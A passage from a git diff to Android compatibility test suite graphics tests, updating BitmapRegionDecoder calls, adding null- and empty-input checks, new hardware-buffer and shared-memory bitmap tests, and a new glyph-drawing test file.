-                    FileDescriptor fd2 = pfd2.getFileDescriptor();
+                    decoder = BitmapRegionDecoder.newInstance(pfd1);
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
                         compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
@@ -330,7 +328,7 @@
     @Test
     public void testRecycle() throws IOException {
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         decoder.recycle();
         assertTrue(decoder.isRecycled());
         try {
@@ -371,7 +369,7 @@
 
         for (int i = 0; i < NUM_TEST_IMAGES; i++) {
             InputStream is = obtainInputStream(RES_IDS[i]);
-            BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+            BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
             for (int j = 0; j < SAMPLESIZES.length; j++) {
                 int sampleSize = SAMPLESIZES[j];
                 defaultOpts.inSampleSize = sampleSize;
@@ -439,7 +437,7 @@
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inPreferredConfig = Bitmap.Config.HARDWARE;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         Bitmap hardwareBitmap = decoder.decodeRegion(new Rect(0, 0, 10, 10), options);
         assertNotNull(hardwareBitmap);
         // Test that checks that correct bitmap was obtained is in uirendering/HardwareBitmapTests
@@ -456,7 +454,7 @@
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     Bitmap region = decoder.decodeRegion(
                             new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
                     decoder.recycle();
@@ -479,7 +477,7 @@
 
                     String assetName = ASSET_NAMES[i];
                     InputStream is1 = obtainInputStream(assetName);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     Bitmap region = decoder.decodeRegion(
                             new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
                     decoder.recycle();
@@ -503,7 +501,7 @@
 
         // sRGB
         BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(
-                obtainInputStream(ASSET_NAMES[3]), false);
+                obtainInputStream(ASSET_NAMES[3]));
         Bitmap region = decoder.decodeRegion(
                 new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
@@ -511,7 +509,7 @@
         assertEquals(ColorSpace.get(ColorSpace.Named.SRGB), region.getColorSpace());
 
         // DisplayP3
-        decoder = BitmapRegionDecoder.newInstance(obtainInputStream(ASSET_NAMES[1]), false);
+        decoder = BitmapRegionDecoder.newInstance(obtainInputStream(ASSET_NAMES[1]));
         region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -527,7 +525,7 @@
                 opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
 
                 InputStream is1 = obtainInputStream(RES_IDS[i]);
-                BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                 Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
                 decoder.recycle();
 
@@ -544,7 +542,7 @@
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
 
         InputStream is1 = obtainInputStream(ASSET_NAMES[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -559,7 +557,7 @@
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
 
         InputStream is1 = obtainInputStream(ASSET_NAMES[1]); // Display P3
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -572,7 +570,7 @@
         // This image normally decodes to F16, but if there is an inBitmap,
         // decoding will match the Config of that Bitmap.
         InputStream is = obtainInputStream(ASSET_NAMES[0]); // F16
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
 
         Options opts = new BitmapFactory.Options();
         for (Bitmap.Config config : new Bitmap.Config[] {
@@ -599,7 +597,7 @@
         Options opts = new BitmapFactory.Options();
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.CIE_LAB);
         InputStream is1 = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -612,7 +610,7 @@
                 x -> Math.pow(x, 1.0f / 2.2f), x -> Math.pow(x, 2.2f),
                 0, 1);
         InputStream is1 = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -623,7 +621,7 @@
                 .copy(Config.HARDWARE, false);
         opts.inBitmap = bitmap;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -635,7 +633,7 @@
 
         opts.inBitmap = bitmap;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         assertThrows(IllegalArgumentException.class, () -> {
             decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
         });
@@ -648,7 +646,7 @@
             return;
         }
         InputStream is = obtainInputStream(R.raw.heifwriter_input);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), null);
         assertNotNull(region);
 
@@ -658,6 +656,120 @@
         assertNotNull(full);
     }
 
+    @Test(expected = NullPointerException.class)
+    public void testNullParcelFileDescriptor() throws IOException {
+        ParcelFileDescriptor pfd = null;
+        BitmapRegionDecoder.newInstance(pfd);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullFileDescriptor() throws IOException {
+        FileDescriptor fd = null;
+        BitmapRegionDecoder.newInstance(fd, false);
+    }
+
+    @Test
+    public void testNullInputStream() throws IOException {
+        InputStream is = null;
+        assertNull(BitmapRegionDecoder.newInstance(is));
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullPathName() throws IOException {
+        String pathName = null;
+        BitmapRegionDecoder.newInstance(pathName);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyPathName() throws IOException {
+        String pathName = "";
+        BitmapRegionDecoder.newInstance(pathName);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray() throws IOException {
+        byte[] data = null;
+        BitmapRegionDecoder.newInstance(data, 0, 0);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeOffset() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, -1, 10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeLength() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, 0, -10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testTooLong() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, 1, 10);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyByteArray() throws IOException {
+        byte[] data = new byte[0];
+        BitmapRegionDecoder.newInstance(data, 0, 0);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyInputStream() throws IOException {
+        InputStream is = new InputStream() {
+            @Override
+            public int read() {
+                return -1;
+            }
+        };
+        BitmapRegionDecoder.newInstance(is);
+    }
+
+    private static File createEmptyFile() throws IOException {
+        File dir = InstrumentationRegistry.getTargetContext().getFilesDir();
+        dir.mkdirs();
+        return File.createTempFile("emptyFile", "tmp", dir);
+    }
+
+    @Test
+    public void testEmptyFile() throws IOException {
+        File file = createEmptyFile();
+        String pathName = file.getAbsolutePath();
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(pathName);
+        });
+        file.delete();
+    }
+
+    @Test
+    public void testEmptyFileDescriptor() throws IOException {
+        File file = createEmptyFile();
+        FileInputStream fileStream = new FileInputStream(file);
+        FileDescriptor fd = fileStream.getFD();
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(fd, false);
+        });
+        file.delete();
+    }
+
+    @Test
+    public void testEmptyParcelFileDescriptor() throws IOException, FileNotFoundException {
+        File file = createEmptyFile();
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(pfd);
+        });
+        file.delete();
+    }
+
+    @Test(expected = IOException.class)
+    public void testInvalidFileDescriptor() throws IOException {
+        BitmapRegionDecoder.newInstance(new FileDescriptor(), false);
+    }
+
     private void compareRegionByRegion(BitmapRegionDecoder decoder,
             Options opts, int mseMargin, Bitmap wholeImage) {
         int width = decoder.getWidth();
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index ac3e111..0e76d36 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -68,6 +68,7 @@
 import java.nio.ShortBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -675,6 +676,103 @@
         }
     }
 
+    private void assertMatches(HardwareBuffer hwBuffer, HardwareBuffer hwBuffer2) {
+        assertEquals(hwBuffer, hwBuffer2);
+        assertEquals(hwBuffer.hashCode(), hwBuffer2.hashCode());
+        assertEquals(hwBuffer.getWidth(), hwBuffer2.getWidth());
+        assertEquals(hwBuffer.getHeight(), hwBuffer2.getHeight());
+        assertEquals(hwBuffer.getFormat(), hwBuffer2.getFormat());
+        assertEquals(hwBuffer.getLayers(), hwBuffer2.getLayers());
+        assertEquals(hwBuffer.getUsage(), hwBuffer2.getUsage());
+    }
+
+    @Test
+    public void testGetHardwareBufferMatchesWrapped() {
+        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, false)) {
+            Bitmap bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
+            assertNotNull(bitmap);
+
+            try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+                assertNotNull(hwBuffer2);
+                assertMatches(hwBuffer, hwBuffer2);
+            }
+            bitmap.recycle();
+        }
+    }
+
+    private static Object[] parametersFor_testGetHardwareBufferConfig() {
+        return new Object[] {Config.ARGB_8888, Config.RGBA_F16, Config.RGB_565};
+    }
+
+    @Test
+    @Parameters(method = "parametersFor_testGetHardwareBufferConfig")
+    public void testGetHardwareBufferConfig(Config config) {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, config);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        if (bitmap == null) {
+            fail("Failed to copy to HARDWARE with Config " + config);
+        }
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer);
+            assertEquals(hwBuffer.getWidth(), 10);
+            assertEquals(hwBuffer.getHeight(), 10);
+        }
+    }
+
+    @Test
+    public void testGetHardwareBufferTwice() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer);
+            try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+                assertNotNull(hwBuffer2);
+                assertMatches(hwBuffer, hwBuffer2);
+            }
+        }
+    }
+
+    @Test
+    public void testGetHardwareBufferMatches() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            HashSet<HardwareBuffer> set = new HashSet<HardwareBuffer>();
+            set.add(hwBuffer);
+            assertTrue(set.contains(bitmap.getHardwareBuffer()));
+        }
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testGetHardwareBufferNonHardware() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap.getHardwareBuffer();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testGetHardwareBufferRecycled() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        bitmap.recycle();
+        bitmap.getHardwareBuffer();
+    }
+
+    @Test
+    public void testGetHardwareBufferClosed() {
+        HardwareBuffer hwBuffer = createTestBuffer(128, 128, false);
+        Bitmap bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
+        assertNotNull(bitmap);
+
+        hwBuffer.close();
+
+        try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer2);
+            assertFalse(hwBuffer2.isClosed());
+            assertNotEquals(hwBuffer, hwBuffer2);
+        }
+        bitmap.recycle();
+    }
+
     @Test
     public void testGenerationId() {
         Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
@@ -2301,6 +2399,108 @@
         }
     }
 
+    private static byte[] compressToPng(Bitmap bitmap) {
+        try (ByteArrayOutputStream stream = new ByteArrayOutputStream()) {
+            assertTrue("Failed to encode a Bitmap with Config " + bitmap.getConfig()
+                    + " and ColorSpace " + bitmap.getColorSpace() + "!",
+                    bitmap.compress(CompressFormat.PNG, 100, stream));
+            return stream.toByteArray();
+        } catch (IOException e) {
+            fail("Failed to compress with " + e);
+            return null;
+        }
+    }
+
+    private static Object[] parametersForTestAsShared() {
+        return Utils.crossProduct(Config.values(), getRgbColorSpaces().toArray(new Object[0]));
+    }
+
+    @Test
+    @Parameters(method = "parametersForTestAsShared")
+    public void testAsShared(Config config, ColorSpace colorSpace) {
+        Bitmap original = Bitmap.createBitmap(10, 10,
+                config == Config.HARDWARE ? Config.ARGB_8888 : config, true /*hasAlpha*/,
+                colorSpace);
+        drawGradient(original);
+
+        if (config == Config.HARDWARE) {
+            original = original.copy(Config.HARDWARE, false /*mutable*/);
+        }
+
+        // There's no visible way to test that the memory is allocated in shared memory, but we can
+        // verify that the Bitmaps look the same.
+        Bitmap shared = original.asShared();
+        assertNotNull(shared);
+
+        if (config == Config.HARDWARE) {
+            int expectedFormat = nGetFormat(original);
+            assertEquals(expectedFormat, configToFormat(shared.getConfig()));
+
+            // There's no public way to look at the pixels in the HARDWARE Bitmap, but if we
+            // compress each as a lossless PNG, they should look identical.
+            byte[] origBytes = compressToPng(original);
+            byte[] sharedBytes = compressToPng(shared);
+            assertTrue(Arrays.equals(origBytes, sharedBytes));
+        } else {
+            assertSame(original.getConfig(), shared.getConfig());
+            assertTrue(shared.sameAs(original));
+        }
+        assertSame(original.getColorSpace(), shared.getColorSpace());
+
+        // The Bitmap is already in shared memory, so no work is done.
+        Bitmap shared2 = shared.asShared();
+        assertSame(shared, shared2);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testAsSharedRecycled() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap.recycle();
+        bitmap.asShared();
+    }
+
+    @Test
+    public void testAsSharedDensity() {
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        for (int density : new int[] { Bitmap.DENSITY_NONE, metrics.densityDpi,
+                DisplayMetrics.DENSITY_HIGH, DisplayMetrics.DENSITY_DEVICE_STABLE,
+                DisplayMetrics.DENSITY_MEDIUM }) {
+            bitmap.setDensity(density);
+            Bitmap shared = bitmap.asShared();
+            assertEquals(density, shared.getDensity());
+            shared.recycle();
+        }
+    }
+
+    @Test
+    @Parameters({"true", "false"})
+    public void testAsSharedImageDecoder(boolean mutable) {
+        Resources res = InstrumentationRegistry.getTargetContext().getResources();
+        ImageDecoder.Source source = ImageDecoder.createSource(res.getAssets(),
+                "grayscale-16bit-linearSrgb.png");
+        try {
+            Bitmap bitmap = ImageDecoder.decodeBitmap(source, (decoder, info, s) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SHARED_MEMORY);
+                if (mutable) decoder.setMutableRequired(true);
+            });
+
+            Bitmap shared = bitmap.asShared();
+            if (mutable) {
+                // bitmap is mutable, so asShared must make a copy.
+                assertNotEquals(bitmap, shared);
+                assertTrue(bitmap.sameAs(shared));
+            } else {
+                // bitmap is already immutable and in shared memory, so asShared will return
+                // itself.
+                assertSame(bitmap, shared);
+            }
+        } catch (IOException e) {
+            fail("Failed to decode with " + e);
+        }
+    }
+
     @Test
     public void testNdkFormats() {
         for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
@@ -2565,6 +2765,24 @@
                 || cs == ColorSpace.get(Named.LINEAR_EXTENDED_SRGB);
     }
 
+    // Helper method for populating a Bitmap with interesting pixels for comparison.
+    private static void drawGradient(Bitmap bitmap) {
+        // Use different colors and alphas.
+        Canvas canvas = new Canvas(bitmap);
+        ColorSpace cs = bitmap.getColorSpace();
+        if (cs == null) {
+            assertSame(Config.ALPHA_8, bitmap.getConfig());
+            cs = ColorSpace.get(ColorSpace.Named.SRGB);
+        }
+        long color0 = Color.pack(0, 0, 1, 1, cs);
+        long color1 = Color.pack(1, 0, 0, 0, cs);
+        LinearGradient gradient = new LinearGradient(0, 0, 10, 10, color0, color1,
+                Shader.TileMode.CLAMP);
+        Paint paint = new Paint();
+        paint.setShader(gradient);
+        canvas.drawPaint(paint);
+    }
+
     @Test
     @Parameters(method = "parametersForNdkCompress")
     public void testNdkCompress(CompressFormat format, ColorSpace cs, Config config)
@@ -2574,15 +2792,7 @@
         assertNotNull(bitmap);
 
         {
-            // Use different colors and alphas.
-            Canvas canvas = new Canvas(bitmap);
-            long color0 = Color.pack(0, 0, 1, 1, cs);
-            long color1 = Color.pack(1, 0, 0, 0, cs);
-            LinearGradient gradient = new LinearGradient(0, 0, 10, 10, color0, color1,
-                    Shader.TileMode.CLAMP);
-            Paint paint = new Paint();
-            paint.setShader(gradient);
-            canvas.drawPaint(paint);
+            drawGradient(bitmap);
         }
 
         byte[] storage = new byte[16 * 1024];
@@ -2657,6 +2867,7 @@
     private static native void nFillRgbaHwBuffer(HardwareBuffer hwBuffer);
     private static native void nTestNullBitmap(Bitmap bitmap);
 
+    private static final int ANDROID_BITMAP_FORMAT_NONE = 0;
     static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
     private static final int ANDROID_BITMAP_FORMAT_RGB_565 = 4;
     private static final int ANDROID_BITMAP_FORMAT_A_8 = 8;
@@ -2672,6 +2883,15 @@
         }
     }
 
+    private static int configToFormat(Config config) {
+        for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+            if (config == pair.config) {
+                return pair.format;
+            }
+        }
+        return ANDROID_BITMAP_FORMAT_NONE;
+    }
+
     private static final ConfigToFormat[] CONFIG_TO_FORMAT = new ConfigToFormat[] {
         new ConfigToFormat(Bitmap.Config.ARGB_8888, ANDROID_BITMAP_FORMAT_RGBA_8888),
         // ARGB_4444 is deprecated, and createBitmap converts to 8888.
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java
new file mode 100644
index 0000000..5c915f3
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasDrawGlyphsTest.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.fonts.Font;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CanvasDrawGlyphsTest {
+    private static final String FONT_PATH = "fonts/draw/draw_glyph_font.ttf";
+    private static final int BMP_WIDTH = 300;
+    private static final int BMP_HEIGHT = 100;
+    private static final float DRAW_ORIGIN_X = 20f;
+    private static final float DRAW_ORIGIN_Y = 70f;
+    private static final float TEXT_SIZE = 50f;  // make 1em = 50px
+    // All glyph in the test font has 1em advance, i.e. TEXT_SIZE.
+    private static final float GLYPH_ADVANCE = TEXT_SIZE;
+    private Font mFont;
+    private Typeface mTypeface;
+
+    @Before
+    public void setup() throws IOException {
+        Context context = InstrumentationRegistry.getTargetContext();
+        mFont = new Font.Builder(context.getAssets(), FONT_PATH).build();
+        mTypeface = Typeface.createFromAsset(context.getAssets(), FONT_PATH);
+    }
+
+    private Bitmap drawGlyphsToBitmap(int[] glyphIds, int glyphIdOffset, float[] positions,
+            int positionStart, int glyphCount, Font font, Paint paint) {
+        Bitmap bmp = Bitmap.createBitmap(BMP_WIDTH, BMP_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bmp);
+        canvas.drawGlyphs(glyphIds, glyphIdOffset, positions, positionStart, glyphCount,
+                font, paint);
+        return bmp;
+    }
+
+    @Test
+    public void drawGlyphs_SameToDrawText() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },  // Corresponding to "abcde" in test font
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap textBmp = Bitmap.createBitmap(300, 100, Bitmap.Config.ARGB_8888);
+        Canvas textCanvas = new Canvas(textBmp);
+        paint.setTypeface(mTypeface);
+        textCanvas.drawText("abcde", 0, 5, DRAW_ORIGIN_X, DRAW_ORIGIN_Y, paint);
+
+        assertThat(glyphBmp.sameAs(textBmp)).isTrue();
+    }
+
+    @Test
+    public void drawGlyphs_glyphOffset() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { -1, -1, 1, 2, 3, 4, 5 },  // Skip first two
+                2,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap glyphBmp2 = drawGlyphsToBitmap(
+                new int[] { -1, -1, -1, 1, 2, 3, 4, 5 },  // Skip first three
+                3,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap expectedBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(glyphBmp.sameAs(glyphBmp2)).isTrue();
+        assertThat(glyphBmp.sameAs(expectedBmp)).isTrue();
+    }
+
+    @Test
+    public void drawGlyphs_positionOffset() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap glyphBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        -1f, -1f,  // Skip first two
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                2,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap glyphBmp2 = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        -1f, -1f, -1f,  // Skip first three
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                3,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap expectedBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(glyphBmp.sameAs(glyphBmp2)).isTrue();
+        assertThat(glyphBmp.sameAs(expectedBmp)).isTrue();
+    }
+
+    @Test
